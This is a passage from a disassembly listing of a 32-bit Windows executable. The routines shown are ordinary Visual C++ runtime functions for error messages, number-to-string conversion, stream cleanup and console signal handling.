mov [ebp-8], eax
loc_4287A8: ; CODE XREF: .data:0042879Dj
cmp dword ptr [ebp-8], 40h
jge short loc_428827
mov ecx, [ebp-8]
cmp dword_4DE320[ecx*4], 0
jz short loc_428822
mov edx, [ebp-8]
mov eax, dword_4DE320[edx*4]
mov [ebp-4], eax
jmp short loc_4287D3
; ---------------------------------------------------------------------------
loc_4287CA: ; CODE XREF: .data:loc_4287FDj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_4287D3: ; CODE XREF: .data:004287C8j
mov edx, [ebp-8]
mov eax, dword_4DE320[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_4287FF
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_4287FD
mov edx, [ebp-4]
add edx, 0Ch
push edx
call dword_4E03B0 ; RtlDeleteCriticalSection
loc_4287FD: ; CODE XREF: .data:004287EEj
jmp short loc_4287CA
; ---------------------------------------------------------------------------
loc_4287FF: ; CODE XREF: .data:004287E5j
push 2
mov eax, [ebp-8]
mov ecx, dword_4DE320[eax*4]
push ecx
call sub_415C60
add esp, 8
mov edx, [ebp-8]
mov dword_4DE320[edx*4], 0
loc_428822: ; CODE XREF: .data:004287B9j
jmp loc_42879F
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: .data:004287ACj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428830 proc near ; CODE XREF: sub_41AC70+Cp
; sub_41ACA0+Cp
push ebp
mov ebp, esp
cmp dword_4DDFD8, 1
jz short loc_42884E
cmp dword_4DDFD8, 0
jnz short loc_428877
cmp dword_444ED4, 1
jnz short loc_428877
loc_42884E: ; CODE XREF: sub_428830+Aj
push 0FCh
call sub_428880
add esp, 4
cmp dword_4DE198, 0
jz short loc_42886A
call dword_4DE198
loc_42886A: ; CODE XREF: sub_428830+32j
push 0FFh
call sub_428880
add esp, 4
loc_428877: ; CODE XREF: sub_428830+13j
; sub_428830+1Cj
pop ebp
retn
sub_428830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428880 proc near ; CODE XREF: sub_41AC70+15p
; sub_41ACA0+15p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_42889E
; ---------------------------------------------------------------------------
loc_428895: ; CODE XREF: sub_428880:loc_4288B5j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42889E: ; CODE XREF: sub_428880+13j
cmp [ebp+var_8], 12h
jnb short loc_4288B7
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, dword_447A58[ecx*8]
jnz short loc_4288B5
jmp short loc_4288B7
; ---------------------------------------------------------------------------
loc_4288B5: ; CODE XREF: sub_428880+31j
jmp short loc_428895
; ---------------------------------------------------------------------------
loc_4288B7: ; CODE XREF: sub_428880+22j
; sub_428880+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, dword_447A58[eax*8]
jnz loc_428A38
cmp [ebp+arg_0], 0FCh
jz short loc_4288F4
mov edx, [ebp+var_8]
mov eax, off_447A5C[edx*8]
push eax
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4288F4
int 3 ; Trap to Debugger
loc_4288F4: ; CODE XREF: sub_428880+51j
; sub_428880+71j
cmp dword_4DDFD8, 1
jz short loc_42890F
cmp dword_4DDFD8, 0
jnz short loc_428948
cmp dword_444ED4, 1
jnz short loc_428948
loc_42890F: ; CODE XREF: sub_428880+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, off_447A5C[edx*8]
push eax
call sub_414EC0
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, off_447A5C[ecx*8]
push edx
push 0FFFFFFF4h
call dword_4E0468 ; GetStdHandle
push eax
call dword_4E03B4 ; WriteFile
jmp loc_428A38
; ---------------------------------------------------------------------------
loc_428948: ; CODE XREF: sub_428880+84j
; sub_428880+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_428A38
push 104h
lea eax, [ebp+var_110]
push eax
push 0
call dword_4E0334 ; GetModuleFileNameA
test eax, eax
jnz short loc_428981
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_418870
add esp, 8
loc_428981: ; CODE XREF: sub_428880+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_414EC0
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_4289CA
lea ecx, [ebp+var_110]
push ecx
call sub_414EC0
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_417760
add esp, 0Ch
loc_4289CA: ; CODE XREF: sub_428880+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_418870
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_418880
add esp, 8
push offset asc_434EF0 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_418880
add esp, 8
mov eax, [ebp+var_8]
mov ecx, off_447A5C[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_418880
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_4293F0
add esp, 0Ch
loc_428A38: ; CODE XREF: sub_428880+44j
; sub_428880+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_428880 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_428A56
; ---------------------------------------------------------------------------
loc_428A4D: ; CODE XREF: .data:loc_428A6Dj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_428A56: ; CODE XREF: .data:00428A4Bj
cmp dword ptr [ebp-4], 12h
jnb short loc_428A6F
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, dword_447A58[ecx*8]
jnz short loc_428A6D
jmp short loc_428A6F
; ---------------------------------------------------------------------------
loc_428A6D: ; CODE XREF: .data:00428A69j
jmp short loc_428A4D
; ---------------------------------------------------------------------------
loc_428A6F: ; CODE XREF: .data:00428A5Aj
; .data:00428A6Bj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, dword_447A58[eax*8]
jnz short loc_428A8A
mov edx, [ebp-4]
mov eax, off_447A5C[edx*8]
jmp short loc_428A8C
; ---------------------------------------------------------------------------
loc_428A8A: ; CODE XREF: .data:00428A7Cj
xor eax, eax
loc_428A8C: ; CODE XREF: .data:00428A88j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428A90 proc near ; CODE XREF: sub_41AE00+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_41BC80
add esp, 4
mov [ebp+var_8], 3
jmp short loc_428AB9
; ---------------------------------------------------------------------------
loc_428AB0: ; CODE XREF: sub_428A90:loc_428B54j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_428AB9: ; CODE XREF: sub_428A90+1Ej
mov ecx, [ebp+var_8]
cmp ecx, dword_4DF680
jge loc_428B59
mov edx, [ebp+var_8]
mov eax, dword_4DE674
cmp dword ptr [eax+edx*4], 0
jz short loc_428B54
mov ecx, [ebp+var_8]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_428B11
mov edx, [ebp+var_8]
mov eax, dword_4DE674
mov ecx, [eax+edx*4]
push ecx
call sub_414F40
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_428B11
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_428B11: ; CODE XREF: sub_428A90+5Dj
; sub_428A90+76j
cmp [ebp+var_8], 14h
jl short loc_428B54
mov eax, [ebp+var_8]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call dword_4E03B0 ; RtlDeleteCriticalSection
push 2
mov eax, [ebp+var_8]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
push edx
call sub_415C60
add esp, 8
mov eax, [ebp+var_8]
mov ecx, dword_4DE674
mov dword ptr [ecx+eax*4], 0
loc_428B54: ; CODE XREF: sub_428A90+44j
; sub_428A90+85j
jmp loc_428AB0
; ---------------------------------------------------------------------------
loc_428B59: ; CODE XREF: sub_428A90+32j
push 2
call sub_41BD20
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428B70 proc near ; CODE XREF: sub_41B010+31Dp
; sub_42D2B0+1EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_428B97
cmp [ebp+arg_0], 0
jge short loc_428B97
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_428BC0
add esp, 10h
jmp short loc_428BAD
; ---------------------------------------------------------------------------
loc_428B97: ; CODE XREF: sub_428B70+7j
; sub_428B70+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_428BC0
add esp, 10h
loc_428BAD: ; CODE XREF: sub_428B70+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_428B70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428BC0 proc near ; CODE XREF: sub_428B70+1Dp
; sub_428B70+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_428BE9
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_428BE9: ; CODE XREF: sub_428BC0+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_428BEF: ; CODE XREF: sub_428BC0+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_428C21
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_428C35
; ---------------------------------------------------------------------------
loc_428C21: ; CODE XREF: sub_428BC0+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_428C35: ; CODE XREF: sub_428BC0+5Fj
cmp [ebp+arg_0], 0
ja short loc_428BEF
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_428C4A: ; CODE XREF: sub_428BC0+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_428C4A
mov esp, ebp
pop ebp
retn
sub_428BC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_428CA9
cmp dword ptr [ebp+8], 0
jge short loc_428CA9
mov dword ptr [ebp-4], 1
jmp short loc_428CB0
; ---------------------------------------------------------------------------
loc_428CA9: ; CODE XREF: .data:00428C98j
; .data:00428C9Ej
mov dword ptr [ebp-4], 0
loc_428CB0: ; CODE XREF: .data:00428CA7j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_428BC0
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_428BC0
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_428D11
cmp dword ptr [ebp+0Ch], 0
jg short loc_428D11
jl short loc_428D08
cmp dword ptr [ebp+8], 0
jnb short loc_428D11
loc_428D08: ; CODE XREF: .data:00428D00j
mov dword ptr [ebp-4], 1
jmp short loc_428D18
; ---------------------------------------------------------------------------
loc_428D11: ; CODE XREF: .data:00428CF8j
; .data:00428CFEj ...
mov dword ptr [ebp-4], 0
loc_428D18: ; CODE XREF: .data:00428D0Fj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_428D40
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D40 proc near ; CODE XREF: .data:00428D2Cp
; .data:00428E55p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_428D74
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_428D74: ; CODE XREF: sub_428D40+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_428D7A: ; CODE XREF: sub_428D40+9Fj
; sub_428D40+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41A4A0
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A430
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_428DC7
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_428DDB
; ---------------------------------------------------------------------------
loc_428DC7: ; CODE XREF: sub_428D40+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_428DDB: ; CODE XREF: sub_428D40+85j
cmp [ebp+arg_4], 0
ja short loc_428D7A
jb short loc_428DE9
cmp [ebp+arg_0], 0
ja short loc_428D7A
loc_428DE9: ; CODE XREF: sub_428D40+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_428DF8: ; CODE XREF: sub_428D40+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_428DF8
mov esp, ebp
pop ebp
retn 14h
sub_428D40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_428D40
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_428E73
cmp dword ptr [ebp+0Ch], 3
jnz short loc_428E78
loc_428E73: ; CODE XREF: .data:00428E6Bj
jmp loc_429048
; ---------------------------------------------------------------------------
loc_428E78: ; CODE XREF: .data:00428E71j
cmp dword ptr [ebp+8], 2
jz short loc_428E94
cmp dword ptr [ebp+8], 15h
jz short loc_428E94
cmp dword ptr [ebp+8], 16h
jz short loc_428E94
cmp dword ptr [ebp+8], 0Fh
jnz loc_428F71
loc_428E94: ; CODE XREF: .data:00428E7Cj
; .data:00428E82j ...
push 1
call sub_41BC80
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_428EAA
cmp dword ptr [ebp+8], 15h
jnz short loc_428EEF
loc_428EAA: ; CODE XREF: .data:00428EA2j
cmp dword_4DE1AC, 0
jnz short loc_428EEF
push 1
push offset sub_429090
call dword_4E0310 ; SetConsoleCtrlHandler
cmp eax, 1
jnz short loc_428ED1
mov dword_4DE1AC, 1
jmp short loc_428EEF
; ---------------------------------------------------------------------------
loc_428ED1: ; CODE XREF: .data:00428EC3j
call dword_4E0350 ; RtlGetLastWin32Error
mov esi, eax
call sub_4224E0
mov [eax], esi
push 1
call sub_41BD20
add esp, 4
jmp loc_429048
; ---------------------------------------------------------------------------
loc_428EEF: ; CODE XREF: .data:00428EA8j
; .data:00428EB1j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_428F62
mov eax, [ebp-10h]
xor edx, edx
mov dl, byte_42906F[eax]
jmp off_42905B[edx*4]
loc_428F16: ; DATA XREF: .data:off_42905Bo
mov ecx, dword_4DE19C
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4DE19C, edx
jmp short loc_428F62
; ---------------------------------------------------------------------------
loc_428F2A: ; CODE XREF: .data:00428F0Fj
; DATA XREF: .data:00429063o
mov eax, dword_4DE1A0
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov dword_4DE1A0, ecx
jmp short loc_428F62
; ---------------------------------------------------------------------------
loc_428F3D: ; CODE XREF: .data:00428F0Fj
; DATA XREF: .data:00429067o
mov edx, dword_4DE1A4
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov dword_4DE1A4, eax
jmp short loc_428F62
; ---------------------------------------------------------------------------
loc_428F50: ; CODE XREF: .data:00428F0Fj
; DATA XREF: .data:0042905Fo
mov ecx, dword_4DE1A8
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4DE1A8, edx
loc_428F62: ; CODE XREF: .data:00428F02j
; .data:00428F0Fj ...
push 1
call sub_41BD20
add esp, 4
jmp loc_429043
; ---------------------------------------------------------------------------
loc_428F71: ; CODE XREF: .data:00428E8Ej
cmp dword ptr [ebp+8], 8
jz short loc_428F88
cmp dword ptr [ebp+8], 4
jz short loc_428F88
cmp dword ptr [ebp+8], 0Bh
jz short loc_428F88
jmp loc_429048
; ---------------------------------------------------------------------------
loc_428F88: ; CODE XREF: .data:00428F75j
; .data:00428F7Bj ...
call sub_421920
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_4479A8
jnz short loc_428FE5
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, dword_447A28
push ecx
call sub_4150C0
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_428FE3
mov ecx, dword_447A28
push ecx
push offset dword_4479A8
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call sub_419330
add esp, 0Ch
jmp short loc_428FE5
; ---------------------------------------------------------------------------
loc_428FE3: ; CODE XREF: .data:00428FC4j
jmp short loc_429048
; ---------------------------------------------------------------------------
loc_428FE5: ; CODE XREF: .data:00428F9Aj
; .data:00428FE1j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_429370
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_429003
jmp short loc_429048
; ---------------------------------------------------------------------------
loc_429003: ; CODE XREF: .data:00428FFFj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_42900C: ; CODE XREF: .data:loc_429041j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_429043
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, dword_447A2C
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_429041
jmp short loc_429043
; ---------------------------------------------------------------------------
loc_429041: ; CODE XREF: .data:0042903Dj
jmp short loc_42900C
; ---------------------------------------------------------------------------
loc_429043: ; CODE XREF: .data:00428F6Cj
; .data:00429015j ...
mov eax, [ebp-0Ch]
jmp short loc_429056
; ---------------------------------------------------------------------------
loc_429048: ; CODE XREF: .data:loc_428E73j
; .data:00428EEAj ...
call sub_4224D0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_429056: ; CODE XREF: .data:00429046j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_42905B dd offset loc_428F16 ; DATA XREF: .data:00428F0Fr
dd offset loc_428F50
dd offset loc_428F2A
dd offset loc_428F3D
dd offset loc_428F62
byte_42906F db 0 ; DATA XREF: .data:00428F09r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429090 proc near ; DATA XREF: .data:00428EB5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_41BC80
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_4290BE
mov [ebp+var_8], offset dword_4DE19C
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_4290D4
; ---------------------------------------------------------------------------
loc_4290BE: ; CODE XREF: sub_429090+14j
mov [ebp+var_8], offset dword_4DE1A0
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_4290D4: ; CODE XREF: sub_429090+2Cj
cmp [ebp+var_C], 0
jnz short loc_4290E8
push 1
call sub_41BD20
add esp, 4
xor eax, eax
jmp short loc_42911C
; ---------------------------------------------------------------------------
loc_4290E8: ; CODE XREF: sub_429090+48j
cmp [ebp+var_C], 1
jz short loc_42910D
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_41BD20
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_429117
; ---------------------------------------------------------------------------
loc_42910D: ; CODE XREF: sub_429090+5Cj
push 1
call sub_41BD20
add esp, 4
loc_429117: ; CODE XREF: sub_429090+7Bj
mov eax, 1
loc_42911C: ; CODE XREF: sub_429090+56j
mov esp, ebp
pop ebp
retn 4
sub_429090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429130 proc near ; CODE XREF: sub_41B3A0+2E7p
; sub_42A620+Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_4291FE
mov eax, [ebp+var_20]
xor edx, edx
mov dl, byte_429352[eax]
jmp off_42933A[edx*4]
loc_429168: ; DATA XREF: .data:off_42933Ao
mov [ebp+var_18], offset dword_4DE19C
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_429206
; ---------------------------------------------------------------------------
loc_429185: ; CODE XREF: sub_429130+31j
; DATA XREF: .data:00429346o
mov [ebp+var_18], offset dword_4DE1A0
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_429206
; ---------------------------------------------------------------------------
loc_42919F: ; CODE XREF: sub_429130+31j
; DATA XREF: .data:0042934Ao
mov [ebp+var_18], offset dword_4DE1A4
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_429206
; ---------------------------------------------------------------------------
loc_4291B9: ; CODE XREF: sub_429130+31j
; DATA XREF: .data:00429342o
mov [ebp+var_18], offset dword_4DE1A8
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_429206
; ---------------------------------------------------------------------------
loc_4291D3: ; CODE XREF: sub_429130+31j
; DATA XREF: .data:0042933Eo
call sub_421920
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429370
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_429206
; ---------------------------------------------------------------------------
loc_4291FE: ; CODE XREF: sub_429130+20j
; sub_429130+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_429336
; ---------------------------------------------------------------------------
loc_429206: ; CODE XREF: sub_429130+50j
; sub_429130+6Dj ...
cmp [ebp+var_C], 0
jz short loc_429216
push 1
call sub_41BC80
add esp, 4
loc_429216: ; CODE XREF: sub_429130+DAj
cmp [ebp+var_1C], 1
jnz short loc_429233
cmp [ebp+var_C], 0
jz short loc_42922C
push 1
call sub_41BD20
add esp, 4
loc_42922C: ; CODE XREF: sub_429130+F0j
xor eax, eax
jmp loc_429336
; ---------------------------------------------------------------------------
loc_429233: ; CODE XREF: sub_429130+EAj
cmp [ebp+var_1C], 0
jnz short loc_429250
cmp [ebp+var_C], 0
jz short loc_429249
push 1
call sub_41BD20
add esp, 4
loc_429249: ; CODE XREF: sub_429130+10Dj
push 3
call sub_417B10
loc_429250: ; CODE XREF: sub_429130+107j
cmp [ebp+arg_0], 8
jz short loc_429262
cmp [ebp+arg_0], 0Bh
jz short loc_429262
cmp [ebp+arg_0], 4
jnz short loc_42928E
loc_429262: ; CODE XREF: sub_429130+124j
; sub_429130+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_42928E
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_42928E: ; CODE XREF: sub_429130+130j
; sub_429130+149j
cmp [ebp+arg_0], 8
jnz short loc_4292D0
mov eax, dword_447A20
mov [ebp+var_10], eax
jmp short loc_4292A7
; ---------------------------------------------------------------------------
loc_42929E: ; CODE XREF: sub_429130+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
